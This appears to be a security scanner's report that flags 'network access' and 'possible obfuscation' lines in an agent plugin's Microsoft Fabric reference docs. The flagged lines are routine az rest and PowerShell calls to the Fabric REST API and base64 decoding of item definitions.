Remove an Event Schema Set with the [Delete Event Schema Set](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/delete-event-schema-set) - Network accessline 175
[Delete Event Schema Set](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/delete-event-schema-set) - Network accessline 184
# Append ?hardDelete=true to the URL to delete permanently. az rest --method DELETE \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}" \ - Network accessline 185
az rest --method DELETE --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}" - Network accessline 186
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}" \ - Network accessline 187
--resource "https://api.fabric.microsoft.com" - Network accessline 247
See the [EventSchemaSet definition article](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventschemaset-definition) - Network accessline 261
already names the target item AND the destructive/overwrite action IS the confirmation, so proceed with the single write after echoing. Ask for a separate confirmation only when the target or intent is ambiguous. - **Always pass `--resour - Network accessline 262
write after echoing. Ask for a separate confirmation only when the target or intent is ambiguous. - **Always pass `--resource https://api.fabric.microsoft.com`** with `az rest` calls. - **Always resolve workspace and item IDs via JMESPath f - Network accessline 263
- **Always pass `--resource https://api.fabric.microsoft.com`** with `az rest` calls.
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventschemaset-cli/references/consumption.md
- Network accessline 57
az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets" \ - Network accessline 58
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets" \ - Network accessline 59
--resource "https://api.fabric.microsoft.com" - Network accessline 67
ITEM_NAME="my-event-schema-set" az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets" \ - Network accessline 68
az rest --method GET --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets" - Network accessline 69
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets" \ - Network accessline 70
--resource "https://api.fabric.microsoft.com" \ - Network accessline 76
Return the properties of a single Event Schema Set with the [Get Event Schema Set](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/get-event-schema-set) - Network accessline 77
[Get Event Schema Set](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/get-event-schema-set) - Network accessline 81
az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}" \ - Network accessline 82
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}" \ - Network accessline 83
--resource "https://api.fabric.microsoft.com" - Network accessline 108
Retrieve the full definition of a selected Event Schema Set with the [Get Event Schema Set Definition](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/get-event-schema-set-definition) - Network accessline 109
[Get Event Schema Set Definition](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/get-event-schema-set-definition) - Network accessline 115
> Spec: [EventSchemaSet definition](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventschemaset-definition) - Network accessline 138
az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}/getDefinition" \ - Network accessline 139
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}/getDefinition" \ - Network accessline 140
--resource "https://api.fabric.microsoft.com" \ - Network accessline 149
# Using jq + base64 (Linux; on macOS use base64 -D instead of -d) az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}/getDefinition" \ - Network accessline 150
az rest --method POST --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}/getDefinition" - Network accessline 151
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}/getDefinition" \ - Network accessline 152
--resource "https://api.fabric.microsoft.com" \ - Network accessline 159
# PowerShell (Windows) $def = az rest --method POST ` --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventSchemaSets/$ITEM_ID/getDefinition" ` - Network accessline 160
$def = az rest --method POST --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventSchemaSets/$ITEM_ID/getDefinition" - Network accessline 161
--url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventSchemaSets/$ITEM_ID/getDefinition" ` - Network accessline 162
--resource "https://api.fabric.microsoft.com" ` - Possible obfuscationline 165
[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($payload)) | ConvertFrom-Json | ConvertTo-Json -Depth 10 - Network accessline 248
for something read-only ("inspect X, and also delete it"), complete the read-only part and refuse only the mutation — leaving the item unchanged. - **Always pass `--resource https://api.fabric.microsoft.com`** with `az rest` calls - Network accessline 249
refuse only the mutation — leaving the item unchanged. - **Always pass `--resource https://api.fabric.microsoft.com`** with `az rest` calls - **Always use JMESPath filtering** to resolve workspace name → ID and item name → ID - Network accessline 250
- **Always pass `--resource https://api.fabric.microsoft.com`** with `az rest` calls
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventstream-cli/references/authoring.md
- Network accessline 44
az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams" \ - Network accessline 45
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams" \ - Network accessline 46
--resource "https://api.fabric.microsoft.com" \ - Network accessline 84
# 4. Submit via Items API az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/items" \ - Network accessline 85
az rest --method POST --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/items" - Network accessline 86
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/items" \ - Network accessline 87
--resource "https://api.fabric.microsoft.com" \ - Network accessline 123
> **API Note**: The Eventstream Definition APIs use `POST` with action verbs (`getDefinition`, `updateDefinition`), not `GET`/`PUT` on a `/definition` resource. This follows the Fabric Items Definition pattern. See [official docs](https://l - Network accessline 170
az rest --method post ` --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/pause" ` - Network accessline 171
--url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/pause" ` - Network accessline 172
--resource "https://api.fabric.microsoft.com" - Network accessline 182
try { az rest --method post ` --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/resume" ` - Network accessline 183
az rest --method post --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/resume" - Network accessline 184
--url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/resume" ` - Network accessline 185
--resource "https://api.fabric.microsoft.com" ` - Network accessline 206
az rest --method DELETE \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}" \ - Network accessline 207
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}" \ - Network accessline 208
--resource "https://api.fabric.microsoft.com" - Network accessline 219
- **Always base64-encode** the `eventstream.json` payload before submitting definitions - **Always pass `--resource https://api.fabric.microsoft.com`** with `az rest` calls - Network accessline 220
- **Always pass `--resource https://api.fabric.microsoft.com`** with `az rest` calls - Network accessline 231
- Set `retentionTimeInDays` explicitly rather than relying on defaults - Validate cloud connections before referencing them in source configurations - When a source requires a `dataConnectionId` (e.g. `AzureEventHub`, `AzureIoTHub`, `AzureS - Network accessline 232
- Validate cloud connections before referencing them in source configurations - When a source requires a `dataConnectionId` (e.g. `AzureEventHub`, `AzureIoTHub`, `AzureServiceBus`, `AzureSQLDBCDC`, `MySQLCDC`, `Mqtt`, `SolacePubSub`, most n - Network accessline 233
- When a source requires a `dataConnectionId` (e.g. `AzureEventHub`, `AzureIoTHub`, `AzureServiceBus`, `AzureSQLDBCDC`, `MySQLCDC`, `Mqtt`, `SolacePubSub`, most non-`SampleData`/`CustomEndpoint` sources) and the user has not supplied one, f - Network accessline 260
# 1. Discover workspace ID $wsId = (az rest --method get ` --url "https://api.fabric.microsoft.com/v1/workspaces" ` - Network accessline 261
$wsId = (az rest --method get --url "https://api.fabric.microsoft.com/v1/workspaces" - Network accessline 262
--url "https://api.fabric.microsoft.com/v1/workspaces" ` - Network accessline 263
--resource "https://api.fabric.microsoft.com" ` - Network accessline 270
[IO.File]::WriteAllText($bodyFile, $esBody, [System.Text.UTF8Encoding]::new($false)) $created = az rest --method post ` --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" ` - Network accessline 271
$created = az rest --method post --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" - Network accessline 272
--url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" ` - Network accessline 273
--resource "https://api.fabric.microsoft.com" ` - Network accessline 312
[Credential-related source omitted] - Network accessline 313
[Credential-related source omitted] - Network accessline 314
[Credential-related source omitted] - Network accessline 315
$ps5 = @{}; if ($PSVersionTable.PSVersion.Major -lt 6) { $ps5.UseBasicParsing = $true } $response = Invoke-WebRequest @ps5 -Method Post ` -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/updateDefinition" ` - Network accessline 316
$response = Invoke-WebRequest @ps5 -Method Post -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/updateDefinition" - Network accessline 317
-Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/updateDefinition" ` - Network accessline 351
# 1. Discover workspace + Eventstream IDs $wsId = (az rest --method get ` --url "https://api.fabric.microsoft.com/v1/workspaces" ` - Network accessline 352
$wsId = (az rest --method get --url "https://api.fabric.microsoft.com/v1/workspaces" - Network accessline 353
--url "https://api.fabric.microsoft.com/v1/workspaces" ` - Network accessline 354
--resource "https://api.fabric.microsoft.com" ` - Network accessline 358
$esId = (az rest --method get ` --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" ` - Network accessline 359
--url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" ` - Network accessline 360
--resource "https://api.fabric.microsoft.com" ` - Network accessline 364
[Credential-related source omitted] - Network accessline 365
[Credential-related source omitted] - Network accessline 366
$ps5 = @{}; if ($PSVersionTable.PSVersion.Major -lt 6) { $ps5.UseBasicParsing = $true } $response = Invoke-WebRequest @ps5 -Method Post ` -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/getDefinition" ` - Network accessline 367
$response = Invoke-WebRequest @ps5 -Method Post -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/getDefinition" - Network accessline 368
-Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/getDefinition" ` - Possible obfuscationline 400
[Convert]::FromBase64String($esPart.payload)) | ConvertFrom-Json - Network accessline 449
$ps5 = @{}; if ($PSVersionTable.PSVersion.Major -lt 6) { $ps5.UseBasicParsing = $true } $response = Invoke-WebRequest @ps5 -Method Post ` -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/updateDefinition" ` - Network accessline 450
$response = Invoke-WebRequest @ps5 -Method Post -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/updateDefinition" - Network accessline 451
-Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/updateDefinition" ` - Network accessline 484
# 1. Discover workspace ID $wsId = (az rest --method get ` --url "https://api.fabric.microsoft.com/v1/workspaces" ` - Network accessline 485
$wsId = (az rest --method get --url "https://api.fabric.microsoft.com/v1/workspaces" - Network accessline 486
--url "https://api.fabric.microsoft.com/v1/workspaces" ` - Network accessline 487
--resource "https://api.fabric.microsoft.com" ` - Network accessline 557
[Credential-related source omitted] - Network accessline 558
[Credential-related source omitted] - Network accessline 559
$ps5 = @{}; if ($PSVersionTable.PSVersion.Major -lt 6) { $ps5.UseBasicParsing = $true } $response = Invoke-WebRequest @ps5 -Method Post ` -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/items" ` - Network accessline 560
$response = Invoke-WebRequest @ps5 -Method Post -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/items" - Network accessline 561
-Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/items" ` - Network accessline 593
# 1. Discover workspace + Eventstream IDs $wsId = (az rest --method get ` --url "https://api.fabric.microsoft.com/v1/workspaces" ` - Network accessline 594
$wsId = (az rest --method get --url "https://api.fabric.microsoft.com/v1/workspaces" - Network accessline 595
--url "https://api.fabric.microsoft.com/v1/workspaces" ` - Network accessline 596
--resource "https://api.fabric.microsoft.com" ` - Network accessline 600
$esId = (az rest --method get ` --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" ` - Network accessline 601
--url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" ` - Network accessline 602
--resource "https://api.fabric.microsoft.com" ` - Network accessline 606
# 2. Delete az rest --method delete ` --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId" ` - Network accessline 607
az rest --method delete --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId" - Network accessline 608
--url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId" ` - Network accessline 609
--resource "https://api.fabric.microsoft.com"
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventstream-cli/references/consumption.md
- Network accessline 46
az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams" \ - Network accessline 47
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams" \ - Network accessline 48
--resource "https://api.fabric.microsoft.com" - Network accessline 54
az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams" \ - Network accessline 55
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams" \ - Network accessline 56
--resource "https://api.fabric.microsoft.com" \ - Network accessline 63
az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}" \ - Network accessline 64
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}" \ - Network accessline 65
--resource "https://api.fabric.microsoft.com" - Network accessline 78
> **API Note**: The Eventstream Definition API uses `POST .../getDefinition`, not `GET .../definition`. This follows the Fabric Items Definition pattern. See [official docs](https://learn.microsoft.com/en-us/fabric/real-time-intelligence/ev - Network accessline 81
az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/getDefinition" \ - Network accessline 82
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/getDefinition" \ - Network accessline 83
--resource "https://api.fabric.microsoft.com" \ - Network accessline 92
# Using jq + base64 (Linux; on macOS use base64 -D instead of -d) az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/getDefinition" \ - Network accessline 93
az rest --method POST --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/getDefinition" - Network accessline 94
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/getDefinition" \ - Network accessline 95
--resource "https://api.fabric.microsoft.com" \ - Network accessline 102
# PowerShell (Windows) $def = az rest --method POST ` --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/getDefinition" ` - Network accessline 103
$def = az rest --method POST --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/getDefinition" - Network accessline 104
--url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/getDefinition" ` - Network accessline 105
--resource "https://api.fabric.microsoft.com" ` - Possible obfuscationline 108
[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($payload)) | ConvertFrom-Json | ConvertTo-Json -Depth 10 - Network accessline 133
az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/topology" \ - Network accessline 134
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/topology" \ - Network accessline 135
--resource "https://api.fabric.microsoft.com" - Network accessline 141
# Extract the sourceId for a Custom Endpoint source (use name filter if multiple exist) SOURCE_ID=$(az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/topology" \ - Network accessline 142
SOURCE_ID=$(az rest --method GET --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/topology" - Network accessline 143
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/topology" \ - Network accessline 144
--resource "https://api.fabric.microsoft.com" \ - Network accessline 152
# PowerShell — extract sourceId for Custom Endpoint (fails clearly if multiple exist) $topology = az rest --method GET ` --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/topology" ` - Network accessline 153
$topology = az rest --method GET --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/topology" - Network accessline 154
--url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/topology" ` - Network accessline 155
--resource "https://api.fabric.microsoft.com" | ConvertFrom-Json - Network accessline 167
az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/sources/${SOURCE_ID}/connection" \ - Network accessline 168
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/sources/${SOURCE_ID}/connection" \ - Network accessline 169
--resource "https://api.fabric.microsoft.com" - Network accessline 173
az rest --method GET ` --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/sources/$sourceId/connection" ` - Network accessline 174
--url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/sources/$sourceId/connection" ` - Network accessline 175
--resource "https://api.fabric.microsoft.com" | ConvertFrom-Json - Network accessline 244
- **Always pass `--resource https://api.fabric.microsoft.com`** with `az rest` calls - Network accessline 246
- **Always base64-decode** the definition payload before inspecting topology (not needed for the Topology API — that returns JSON directly) - **For Custom Endpoint connection details, use the Topology API** — `POST .../getDefinition` return - Network accessline 247
- **For Custom Endpoint connection details, use the Topology API** — `POST .../getDefinition` returns empty properties; call `GET .../topology` to get the sourceId, then `GET .../sources/{sourceId}/connection` - **Use POST for definition en - Network accessline 248
- **Use POST for definition endpoints** — `POST .../getDefinition` (not GET), `POST .../updateDefinition` (not PUT). See [official docs](https://learn.microsoft.com/en-us/fabric/real-time-intelligence/event-streams/api-get-eventstream-defin - Network accessline 284
# 1. Discover workspace ID $wsId = (az rest --method get ` --url "https://api.fabric.microsoft.com/v1/workspaces" ` - Network accessline 285
$wsId = (az rest --method get --url "https://api.fabric.microsoft.com/v1/workspaces" - Network accessline 286
--url "https://api.fabric.microsoft.com/v1/workspaces" ` - Network accessline 287
--resource "https://api.fabric.microsoft.com" ` - Network accessline 292
$allItems = @() $resp = az rest --method get ` --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" ` - Network accessline 293
$resp = az rest --method get --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" - Network accessline 294
--url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" ` - Network accessline 295
--resource "https://api.fabric.microsoft.com" | ConvertFrom-Json - Network accessline 298
$resp = az rest --method get --url $resp.continuationUri --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json - Network accessline 300
--resource "https://api.fabric.microsoft.com" | ConvertFrom-Json - Network accessline 311
# 1. Discover workspace + Eventstream IDs $wsId = (az rest --method get ` --url "https://api.fabric.microsoft.com/v1/workspaces" ` - Network accessline 312
$wsId = (az rest --method get --url "https://api.fabric.microsoft.com/v1/workspaces" - Network accessline 313
--url "https://api.fabric.microsoft.com/v1/workspaces" ` - Network accessline 314
--resource "https://api.fabric.microsoft.com" ` - Network accessline 318
$esId = (az rest --method get ` --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" ` - Network accessline 319
--url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" ` - Network accessline 320
--resource "https://api.fabric.microsoft.com" ` - Network accessline 324
# 2. Get topology (returns JSON directly — no base64 decoding needed) $topo = az rest --method get ` --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/topology" ` - Network accessline 325
$topo = az rest --method get --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/topology" - Network accessline 326
--url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/topology" ` - Network accessline 327
--resource "https://api.fabric.microsoft.com" | ConvertFrom-Json - Network accessline 357
# 1. Discover workspace + Eventstream IDs $wsId = (az rest --method get ` --url "https://api.fabric.microsoft.com/v1/workspaces" ` - Network accessline 358
$wsId = (az rest --method get --url "https://api.fabric.microsoft.com/v1/workspaces" - Network accessline 359
--url "https://api.fabric.microsoft.com/v1/workspaces" ` - Network accessline 360
--resource "https://api.fabric.microsoft.com" ` - Network accessline 364
$esId = (az rest --method get ` --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/items?type=Eventstream" ` - Network accessline 365
--url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/items?type=Eventstream" ` - Network accessline 366
--resource "https://api.fabric.microsoft.com" ` - Network accessline 370
[Credential-related source omitted] - Network accessline 371
[Credential-related source omitted] - Network accessline 372
$ps5 = @{}; if ($PSVersionTable.PSVersion.Major -lt 6) { $ps5.UseBasicParsing = $true } $response = Invoke-WebRequest @ps5 -Method Post ` -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/getDefinition" ` - Network accessline 373
$response = Invoke-WebRequest @ps5 -Method Post -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/getDefinition" - Network accessline 374
-Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/getDefinition" ` - Possible obfuscationline 406
[Convert]::FromBase64String($propsPart.payload)) | ConvertFrom-Json - Possible obfuscationline 414
[Convert]::FromBase64String($esPart.payload)) | ConvertFrom-Json - Network accessline 438
# 2. Get topology to find Custom Endpoint source ID $topo = az rest --method get ` --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/topology" ` - Network accessline 439
$topo = az rest --method get --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/topology" - Network accessline 440
--url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/topology" ` - Network accessline 441
--resource "https://api.fabric.microsoft.com" | ConvertFrom-Json - Network accessline 447
# 3. Get connection metadata $conn = az rest --method get ` --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/sources/$sourceId/connection" ` - Network accessline 448
$conn = az rest --method get --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/sources/$sourceId/connection" - Network accessline 449
--url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/sources/$sourceId/connection" ` - Network accessline 450
--resource "https://api.fabric.microsoft.com" | ConvertFrom-Json - Network accessline 464
# 2. Get topology $topo = az rest --method get ` --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/topology" ` - Network accessline 465
$topo = az rest --method get --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/topology" - Network accessline 466
--url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/topology" ` - Network accessline 467
--resource "https://api.fabric.microsoft.com" | ConvertFrom-Json
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/authoring.md
- Network accessline 16
| Finding Workspaces and Items in Fabric | [COMMON-CLI.md § Finding Workspaces and Items in Fabric](../../../common/COMMON-CLI.md#finding-workspaces-and-items-in-fabric) | **Mandatory** — resolve workspace - Network accessline 17
| Fabric Topology & Key Concepts | [COMMON-CORE.md § Fabric Topology & Key Concepts](../../../common/COMMON-CORE.md#fabric-topology--key-concepts) | Workspace → Item hierarchy - Network accessline 18
| Authentication & Token Acquisition | [COMMON-CORE.md § Authentication & Token Acquisition](../../../common/COMMON-CORE.md#authentication--token-acquisition) | Use `https://api.fabric.microsoft - Network accessline 21
| Rate Limiting & Throttling | [COMMON-CORE.md § Rate Limiting & Throttling](../../../common/COMMON-CORE.md#rate-limiting--throttling) | - Network accessline 22
| Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) | `az login`; token acquisition - Network accessline 23
| Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always** pass `--resource https - Network accessline 81
> 2. **Build JSON with `jq`** instead of `ConvertTo-Json` where possible — `jq -nc` produces deterministic, compact JSON without PowerShell serialization quirks: > ```powershell > $json = '{}' | jq -nc --arg id "$ET_ID" --arg name "Si - Network accessline 82
> ```powershell > $json = '{}' | jq -nc --arg id "$ET_ID" --arg name "Site" '{id:$id,name:$name}' > ``` - Network accessline 83
> $json = '{}' | jq -nc --arg id "$ET_ID" --arg name "Site" '{id:$id,name:$name}' - Network accessline 96
- Sign in + acquire the Fabric control-plane token → [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) (always `--resource https://api.fabric.microsoft.com`). - Network accessline 135
> **Prefer polling with `x-ms-operation-id` over the raw `Location` header for Ontology create/update.** The public [Fabric LRO contract](https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation) supports polling ei - Network accessline 138
# Bash — capture x-ms-operation-id from az rest --verbose stderr OP_ID=$(az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items" \ - Network accessline 139
OP_ID=$(az rest --method POST --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items" - Network accessline 140
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items" \ - Network accessline 141
--resource "https://api.fabric.microsoft.com" \ - Network accessline 147
while :; do OP=$(az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/operations/${OP_ID}" \ - Network accessline 148
OP=$(az rest --method GET --url "https://api.fabric.microsoft.com/v1/operations/${OP_ID}" - Network accessline 149
--url "https://api.fabric.microsoft.com/v1/operations/${OP_ID}" \ - Network accessline 150
--resource "https://api.fabric.microsoft.com") - Network accessline 164
# PowerShell — capture x-ms-operation-id from az rest --verbose stderr $result = az rest --method POST ` --resource "https://api.fabric.microsoft.com" ` - Network accessline 165
$result = az rest --method POST --resource "https://api.fabric.microsoft.com" - Network accessline 166
--resource "https://api.fabric.microsoft.com" ` - Network accessline 167
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" ` - Network accessline 175
Start-Sleep -Seconds 5 $op = az rest --method GET ` --url "https://api.fabric.microsoft.com/v1/operations/$opId" ` - Network accessline 176
$op = az rest --method GET --url "https://api.fabric.microsoft.com/v1/operations/$opId" - Network accessline 177
--url "https://api.fabric.microsoft.com/v1/operations/$opId" ` - Network accessline 178
--resource "https://api.fabric.microsoft.com" | ConvertFrom-Json - Network accessline 308
| New upstream rows not appearing | No refresh performed | Trigger a manual graph-model refresh on the ontology item | | Timeseries widget shows no data | `timestampColumnName` not set, or timestamp column is not a supported date/time type - Network accessline 309
| Timeseries widget shows no data | `timestampColumnName` not set, or timestamp column is not a supported date/time type | Set `timestampColumnName` in the TimeSeries binding; ensure column type is `datetime` / `date` / `timestamp` | | `get - Network accessline 310
| `getDefinition` returns `200` or `202` | LRO-capable response (may be inline envelope or operation-id) | If `202`, poll the operation until `Succeeded`, then `GET https://api.fabric.microsoft.com/v1/operations/{operationId}/result`; if `2 - Network accessline 311
| LRO poll returns `401`/`403`, or the `Location` header host is `*.analysis.windows.net` | The create/update `Location` redirects to an Analysis Services host; polling it with `az rest --resource https://api.fabric.microsoft.com` re-auths
